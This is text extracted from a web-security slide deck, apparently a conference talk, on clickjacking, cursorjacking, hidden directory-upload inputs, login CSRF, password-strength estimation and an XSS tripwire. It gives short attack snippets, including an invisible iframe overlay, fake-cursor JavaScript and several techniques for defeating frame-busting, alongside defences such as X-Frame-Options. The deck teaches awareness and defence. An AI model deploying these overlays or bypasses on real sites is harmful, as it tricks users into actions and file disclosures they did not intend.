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Agenda	  

� UI	  redressing	  a<acks	  
� Clickjacking	  
� Fake	  cursor	  
� Oblivious	  directory	  upload	  

� CSRF	  on	  anonymous	  users	  

� ZXCVBN	  –	  Password	  strength	  es1ma1on	  

� XSS	  tripwire	  



Clickjacking	  

�  Just	  like	  car	  jacking…with	  mouse	  
clicks!	  	  

�  When	  you	  think	  you’re	  clicking	  
one	  thing,	  you’re	  really	  doing	  
something	  else	  

�  First	  published	  in	  2008	  



Exploit	  Process	  
Send a 
user to 

your site 

•  Invisible 
page 
below it 

Get user 
to click 

•  Click goes 
to hidden 
page 

Exploited 
• Victim has 
performed an 
action without 
realizing it 



Simple	  Example	  

User Clicks 

	  	  



Combina1on	  of	  innocent	  features	  

� <iframe>	  

� opacity:0	  

� Element	  overlay	  



Example	  Source	  Code	  

<h1>	  Click	  the	  balloon	  to	  pop	  it.	  </h1>	  
<img	  src="balloon.jpg"/>	  
</style>	  
	  
<div	  style="width:15px;height:
15px;position:absolute;left:269px;top:611px;"	  
id='v'>	  
	  
<iframe	  	  
src="http://www.google.com/search?q=dog+care"	  	  
style=“	  
position:absolute;z-‐index:10;	  
opacity:0;	  
overflow:hidden;	  
width:1680px;height:885px;">	  
	  
</iframe>	  
</div>	  

Absolutely positioned 
over balloon 

iframe brings in 
outside content 

Opacity makes frame 
invisible 



“Advanced”	  clickjacking	  

�  Use	  javascript	  to	  have	  the	  frame	  follow	  the	  mouse	  

�  Convince	  users	  to	  type	  into	  form	  fields	  

�  Convince	  users	  to	  click	  &	  drag	  
�  Steal	  content	  by	  dragging	  out	  of	  iframe	  into	  other	  sites	  

�  Bust	  frame	  bus1ng	  (later)	  



Demo	  

http://www.brown.edu/about/social/media/twitter 
 
 
http://dl.dropboxusercontent.com/u/30273430/browndemos/
followbutton-clickjack.html 
 
 
http://dl.dropboxusercontent.com/u/30273430/browndemos/
followbutton-clickjack-visible.html 
 
 



Clickjacking	  in	  the	  wild	  

�  Twi<er:	  force	  users	  to	  

�  Flash:	  Force	  webcam	  approval	  

�  Ad/affiliate	  networks:	  Force	  users	  to	  click	  ads	  



Clickjacking	  gone	  wild	  

Referenced from https://www.owasp.org/images/3/31/OWASP_NZ_SEP2011_Clickjacking-for-shells_PDF-version.pdf  



Clickjacking	  gone	  wild	  

�  You	  have	  just	  clicked	  “Like”	  for	  2	  pages,	  and	  shared	  one	  on	  
your	  Facebook	  wall	  

What you see What’s on your wall 



What	  web	  apps	  are	  exploitable?	  

•  Non-existent or insufficient frame 
busting 

Allows 
framing 

•  URL must be predetermined and not 
contain a session or CSRF token 

Predictable 
URL 

•  Single click leads to a desired action 
•  Multiple clicks exploitable, but more 

difficult 
Single Click 



Not	  so	  recent	  disclosure	  



Not	  so	  recent	  disclosure	  

API 
Authorize 

Button 

One click 
gives you 

total control 



Video	  

http://www.youtube.com/watch?v=owtAFd1q1Fw 



Recent	  disclosure	  

�  Obscure	  sec1on	  in	  the	  OAuth	  specifica1on	  

�  Followed	  by	  
�  Google	  
�  Facebook	  
�  Twi<er	  
�  Dropbox	  
�  Nedlix	  
�  GitHub	  
�  (and	  no	  one	  else?)	  



Not	  so	  recent	  disclosure	  

�  Obscure	  sec1on	  in	  the	  OAuth	  specifica1on	  	  
�  Disclosed	  this	  to	  13	  “big”	  websites	  with	  OAuth	  APIs	  

�  Fixed	  it:	  
�  Tumblr	  
�  Flickr	  
�  Foursquare	  
�  Twilio	  
�  Vimeo	  
�  Instagram 	  	  	  
�  Etsy	  
�  Yahoo	  



Not	  so	  recent	  disclosure	  

�  Obscure	  sec1on	  in	  the	  OAuth	  specifica1on	  	  
�  Disclosed	  this	  to	  13	  “big”	  websites	  with	  OAuth	  APIs	  

�  Fixed	  it:	  
�  Tumblr	  	  	  	  	  <-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐	  Ignored	  me	  then	  fixed	  it	  =(	  
�  Flickr	  
�  Foursquare	  	  	  	  	  	  <-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐	  gave	  me	  t-‐shirt	  and	  s1ckers!	  
�  Twilio	  	  	  	  	  	  <-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐	  	  gave	  me	  a	  track	  jacket!	  
�  Vimeo	  
�  Instagram 	  	  	  
�  Etsy	  
�  Yahoo	  	  	  	  	  <-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐-‐	  	  surprisingly	  prompt	  



Protec1on	  from	  Clickjacking	  

�  Hardest	  part:	  awareness	  

�  Prevent	  your	  content	  from	  being	  framed	  

�  Frame	  bus1ng	  javascript	  
�  Hard	  to	  do	  correctly	  

�  Special	  HTTP	  headers	  



Good	  Frame	  Bus1ng	  JS	  

<body	  style="display:none">	  
<script>	  	  
if	  (self	  ==	  top)	  {	  
	  	  var	  theBody	  =	  document.getElementsByTagName('body')[0];	  
	  	  theBody.style.display	  =	  "block";	  
}	  else	  {	  	  
	  	  top.location	  =	  self.location;	  	  
}	  
</script>	  



X-‐Frame-‐Op1ons	  

�  X-‐Frame-‐Options:	  DENY	  (or	  SAMEORIGIN)	  

�  Header	  that	  instructs	  a	  browser	  to	  not	  allow	  framing	  

[chris@Quark:~]$	  curl	  -‐I	  https://www.dropbox.com	  
Server:	  nginx	  
Date:	  Mon,	  04	  Feb	  2013	  23:45:25	  GMT	  
Content-‐Type:	  text/html;	  charset=utf-‐8	  
Connection:	  keep-‐alive	  
strict-‐transport-‐security:	  max-‐age=2592000;	  includeSubDomains	  
x-‐server-‐response-‐time:	  122	  
x-‐dropbox-‐request-‐id:	  d60b09cf919d2e82	  
pragma:	  no-‐cache	  
cache-‐control:	  no-‐cache	  
x-‐frame-‐options:	  DENY	  
X-‐DB-‐Host:	  sjc-‐nginx3	  

Framing blocked 



<rant>	  

�  SAMEORIGIN:	  like	  DENY,	  but	  allows	  framing	  form	  the	  same	  origin.	  

�  Content	  should	  only	  be	  framed	  if	  you	  explicitly	  allow	  it	  to	  be	  

Web	  servers	  should	  send	  	  
X-‐Frame-‐Options:	  SAMEORIGIN	  

out	  of	  the	  box	  



Unless	  you	  need	  to	  be	  iframed..	  



Cursorjacking	  

�  Hide	  a	  mouse	  cursor	  

�  Show	  a	  fake	  one	  somewhere	  else	  

�  Profit!	  

<body	  style="cursor:none">	  

$(document).bind('mousemove',	  function(e){	  
	  	  $('#fake-‐cursor').css({	  
	  	  	  	  left:	  	  e.pageX	  +	  400,	  //fake	  one	  400px	  right	  
	  	  	  	  top:	  	  	  e.pageY	  
	  	  });	  	  });	  



Demo	  

http://dl.dropboxusercontent.com/u/30273430/browndemos/
Fake-Mouse-Cursor/index.html 
 



Cursorjacking	  

�  Harder	  to	  detect	  than	  clickjacking	  
�  That’s	  about	  it	  

�  Solu1ons	  
�  user	  awareness	  
�  browser	  vendors	  could	  change	  the	  behavior	  of	  cursor:none!



Oblivious	  directory	  uploading	  

�  New	  feature:	  directory	  upload	  in	  chrome!	  

	  

�  Hide	  it	  with	  opacity:0	  and	  put	  another	  bu<on	  on	  it	  

�  Select	  UI	  doesn't	  make	  it	  clear	  what's	  happening	  :-‐(	  

�  Access	  files	  

<input	  type="file"	  id="file_input"	  webkitdirectory>	  

$('#file_input').change(function()	  {	  
	  	  	  for(var	  i	  in	  this.files)	  {	  
	  	  	  	  	  	  console.log(this.files[i].name);	  
	  }});	  



Demo	  

http://dl.dropboxusercontent.com/u/30273430/browndemos/
directory-select.html 
 



Oblivious	  directory	  uploading	  	  

�  Can	  be	  very	  bad	  

�  Solu1ons	  
�  User	  awareness	  
�  Chrome	  needs	  to	  make	  it	  more	  clear	  what's	  happening	  
�  Limit	  styling	  of	  the	  <input>	  tag…	  

�  Relied	  on	  too	  heavily	  at	  this	  point	  



CSRF	  on	  Login	  

�  Cross	  Site	  Request	  Forgery	  protec1on	  

	  

�  CSRF	  protec1on	  on	  login	  is	  important	  too!	  
�  Change	  the	  logged	  in	  user	  to	  one	  you	  control	  
�  Log	  them	  out	  (annoying)	  
�  Track	  that	  user’s	  ac1vity	  (bad!)	  

�  So	  many	  sites	  are	  vulnerable	  :-‐(	  

<input	  type=“hidden”	  name=“csrf_token”	  value=“o7HnMwa9”/>	  



Demo	  

http://dl.dropboxusercontent.com/u/30273430/browndemos/
reddit-demo.html 
 



Password	  strength	  es1ma1on	  

�  Password	  strength	  
es1mators	  are	  can	  you	  
help	  you	  protect	  users	  
from	  themselves	  

�  Unfortunately…most	  are	  
really	  bad.	  







ZXCVBN	  

�  Open	  source	  project	  from	  Dropbox	  

�  "Realis1c"	  password	  strength	  es1ma1on	  

�  Assume	  a<ackers	  knows	  the	  pa<ern	  of	  your	  password,	  and	  
then	  es1mates	  the	  entropy	  
�  Keyboard	  spa1al	  pa<erns	  
�  Common	  words/names/passwords	  
�  Le<er	  subs1tu1ons	  



Demp	  

https://dl.dropboxusercontent.com/u/209/zxcvbn/test/index.html 



XSS	  tripwire	  

�  Javascript	  lets	  you	  redefine	  common	  func1ons	  

�  What's	  the	  first	  thing	  you	  do	  when	  find	  an	  XSS	  vulnerability?	  
�  alert('XSS');!

�  Lots	  of	  false	  posi1ves,	  but	  a	  few	  real	  ones	  found.!

realAlert	  =	  window.alert;	  
window.alert	  =	  function(msg)	  {	  
	  	  	  	  LogToServer(msg,	  window.location,	  getStackTrace());	  
	  	  	  	  realAlert(msg);	  
}	  



Conclusion	  

�  Security	  is	  hard	  

�  There's	  not	  enough	  awareness	  around	  UI	  Redressing	  a<acks	  

�  Things	  aren't	  secure	  out	  of	  the	  box	  



Learn	  More/References	  

�  h<p://seclab.stanford.edu/websec/csrf/csrf.pdf	  

�  h<p://www.contex1s.com/resources/white-‐papers/
clickjacking/	  

�  h<p://w2spconf.com/2010/papers/p27.pdf	  

�  h<ps://www.owasp.org/index.php/Clickjacking	  

�  h<ps://github.com/jackshepherd/Fake-‐Mouse-‐Cursor	  

�  h<p://www.slideshare.net/kkotowicz/html5-‐something-‐
wicked-‐this-‐way-‐comes-‐hack-‐in-‐paris	  



	  
<iframe	  src=”ATTACKER2.html">	  

<script>	  
if	  (top.location	  !=	  self.location)	  {	  	  
	  	  top.location	  =	  self.location;	  	  
}	  
</script>	  

Bus1ng	  Frame	  Bus1ng	  

VICTIM 

Double	  Framing	  

ATTACKER 

	  
<iframe	  src="http://www.victim.com">	  

ATTACKER2.html 



Bus1ng	  Frame	  Bus1ng	  

<script>	  	  
If	  (top.location	  !=	  self.location)	  {	  
	  	  top.location	  =	  self.location;	  
}	  
</script>	  

VICTIM 

<script>	  
window.defineSetter("location”,	  function(){});	  
</script>	  

ATTACKER 

Loca1on	  Clobbering	  



Bus1ng	  Frame	  Bus1ng	  

<script>	  
if(top	  !=	  self)	  {	  

	  top.location	  =	  self.location;	  
}	  
</script>	  

VICTIM 

<iframe	  src="http://www.victim.com/?v=<script>if">	  

ATTACKER 

XSS	  Protec1on	  Exploi1ng	  



Bus1ng	  Frame	  Bus1ng	  

<script>	  
if(top	  !=	  self)	  {top.location	  =	  self.location;}	  
</script>	  

VICTIM 

	  
var	  killbust=	  0;	  
window.onbeforeunload	  =	  function()	  {	  killbust++	  }
setInterval(	  function()	  {	  

	  if(killbust	  >	  0){	  
	  killbust	  =	  2;	  
	  window.top.location	  =	  'http://nocontent204.com'}},	  

1);<iframe	  src="http://www.victim.com">	  

ATTACKER 

204	  No-‐Content	  Request	  Flushing	  



<script>	  
if(top	  !=	  self)	  {top.location	  =	  self.location;}	  
</script>	  

Bus1ng	  Frame	  Bus1ng	  

VICTIM 

<script>	  
window.onbeforeunload	  =	  function()	  {	  

	  return	  "Are	  you	  really	  sure	  you	  want	  to	  leave??";	  
}	  
</script>	  
<iframe	  src="http://www.victim.com">	  

ATTACKER 

Just	  ask	  nicely	  



<script>	  
if(top	  !=	  self)	  {top.location	  =	  self.location;}	  
</script>	  

Bus1ng	  Frame	  Bus1ng	  

VICTIM 

//In	  IE	  8+	  
<iframe	  	  
src="http://www.victim.com"	  security="restricted">	  
</iframe>	  
	  
//In	  Chrome	  
<iframe	  src="http://www.victim.com"	  sandbox></iframe>	  

ATTACKER 

Disable	  javascript	  


